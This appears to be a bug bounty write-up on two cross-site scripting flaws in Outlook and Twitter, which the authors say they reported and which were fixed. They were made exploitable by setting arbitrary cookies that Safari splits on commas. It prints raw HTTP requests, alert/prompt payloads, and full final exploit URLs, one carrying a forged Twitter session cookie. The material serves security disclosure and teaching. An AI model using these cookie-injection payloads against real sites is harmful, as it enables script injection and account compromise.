All cross site scripting vulnerabilities cannot be exploited easily and would need a vulnerablity chain to exploit them
For example a self XSS that only executes in your profile, here is how whitton used minor OAuth flaws to exploit a cross site scripting in Uber
https://whitton.io/articles/uber-turning-self-xss-into-good-xss/

How about a XSS that needs a lot of user interaction?
This is how Sasi used a clicking vulnerability to succesfully exploit a xss in Google
http://sasi2103.blogspot.in/2016/09/combination-of-techniques-lead-to-dom.html

What about a Cross site scripting that needs an arbitrary cookie?
Here is how we found cross site scripting vulnerabilities in Outlook and Twitter by tossing cookies in Safari browser.

Outlook Client Side Stored Cross Site Scripting Vulnerability

There was a simple cross site scripting on outlook.live.com, a value from cookie was directly reflected back in the source without any filtering.

Request

GET / HTTP/1.1  
Host: outlook.live.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Cookie: ClientId=vulnerable<>"';  
Connection: close  
Upgrade-Insecure-Requests: 1

Response snippet

window.dateZero = new Date(0);  
var scriptStart = ((new Date()) - window.dateZero);  
window.clientId = 'vulnerable<>"'';  

Setting the ClientId to payload ‘-alert(2)-‘ will give us a pop up but the challenge was on how to exploit the xss on other users.
It’s possible if:

  • There is CRLF injection(chances are like 1/100)
  • There is another XSS(needs time)
  • Ability to set an Arbitrary cookie

We ruled out option one & two and started looking for 3. Luckily in next 5 minutes we found an endpoint were the application takes an user input & throws it directly into Set-cookie response headers. Now comes the fun part,
%0a %0d were stripped out but , (comma) and ; were not.
Ok! https://www.ietf.org/rfc/rfc2109.txt
Here is how each browser reacts to a comma

Chrome
Set-Cookie: param1=value1;,param2=value2;
Cookie: param1=value1;

Firefox
Set-Cookie: param1=value1;,param2=value2;
Cookie: param1=value1;

Safari
Set-Cookie: param1=value1;,param2=value2;
Cookie: param1=value1; param2=value2;

Safari accepts comma delimited cookies and now we can exploit the xss on other users.
Our final payload: https://outlook.live.com/owa/?realm=hotmail.com%3b%2cClientId%3d’-alert(2)-

We could also set the expiry of the cookie possibly allowing us to store our payload in the victim’s browser forever.

Oh wait we could also do cookie bombing like mentioned here: http://blog.innerht.ml/page/7/

Twitter XSS by tossing cookies

Refer(to understand on how to store flash messages and pass them to controller using cookies in ROR): http://api.rubyonrails.org/classes/ActionDispatch/Flash.html

While doing some reconnaissance we came across an end point were one could detach an email from his account: https://twitter.com/account/not_my_account/
Request

POST /account/detach_email HTTP/1.1  
Host: twitter.com  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Origin: https://twitter.com/  
Content-Length: 36  
Connection: keep-alive  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.4  
Cookie: <redacted>

authenticity_token=&user=sds"><img src=x onerror=prompt(1)>&secret=  

Setting the user parameter to payload will return a 302 redirect to a controller with a flash message in cookie.

Response

HTTP/1.1 200 OK  
cache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0  
connection: close  
content-security-policy:  
content-type: text/html;charset=utf-8  
date: Mon, 10 Oct 2016 13:37:02 GMT  
expires: Tue, 31 Mar 1981 05:00:00 GMT  
last-modified: Mon, 10 Oct 2016 13:37:02 GMT  
pragma: no-cache  
server: tsa_a  
set-cookie: fm=0; Expires=Mon, 10 Oct 2016 13:36:52 UTC; Path=/; Domain=.twitter.com; Secure; HTTPOnly  
set-cookie: _twitter_sess=BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCK%252BXz65XAToMY3NyZl9p%250AZCIlZDE3ZTQxZDQ1M2I2YWViMjI2NzQ4MWExM2FjYmY1ZmU6B2lkIiU2MTM0%250AMmRmYmQxOWQ4ODFiN2JjNDMyNmQyMGI4ZjNlOQ%253D%253D--2071c49064d36eabc5121fc586c3502526a7dafd; Path=/; Domain=.twitter.com; Secure; HTTPOnly  
set-cookie: lang=en; Path=/  

_twitter_sess cookie has a flash message stored and will be shown in the next page after redirect. The flash message was something like this “the email address is no longer associated with payload”.
This is a same story like outlook, to exploit the xss we needed to set an arbitrary cookie or a csrf.
Like always we are lucky again and found an end point were a user input is directly thrown in between the set cookie response headers.

Our final payload was:
https://twitter.com/i/safety/report_story?next_view=report_story_start&source=reporttweet&reported_user_id=108900981&reporter_user_id=602037637&is_media=true&is_promoted=false&reported_tweet_id=723164469380018178&tweet%5B%5D=%22test%22%3b,%20_twitter_sess=BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%25250ASGFzaHsGOgtub3RpY2VDOhdUcmFuc2xhdGFibGVTdHJpbmciblRoZSBlbWFp%25250AbCBhZGRyZXNzIGlzIG5vIGxvbmdlciBhc3NvY2lhdGVkIHdpdGggdGhlIFR3%25250AaXR0ZXIgYWNjb3VudCAodGVzdCI%25252BPGltZyBzcmM9eCBvbmVycm9yPXByb21w%25250AdCgxKT4pLgY6CkB1c2VkewY7BlQ6D2NyZWF0ZWRfYXRsKwgRECMBVAE6DGNz%25250AcmZfaWQiJTEwOWQ5ZGYxNmIzZGYyNjc1ZjgzNDY3MjA0YjlkZTI3OgdpZCIl%25250AN2M3YTdiMzJkNzBkNGM2ZjZkNTgxMmMyN2Q2M2VhZTg%25253D--b26e09e3bcf3861b841b00b2279c806126009cd0%3b%20Path=/%3b%20Domain=.twitter.com%3b,s=%22akhil

Video POC:

Overall it was real fun for us. We have reported both the bugs to respective companies, got a bounty from Microsoft and a silent fix from twitter.

Update: Twitter does have CSP 2.0 in place and Safari 9.1.3 doesn’t support 2.0 hence the pop up!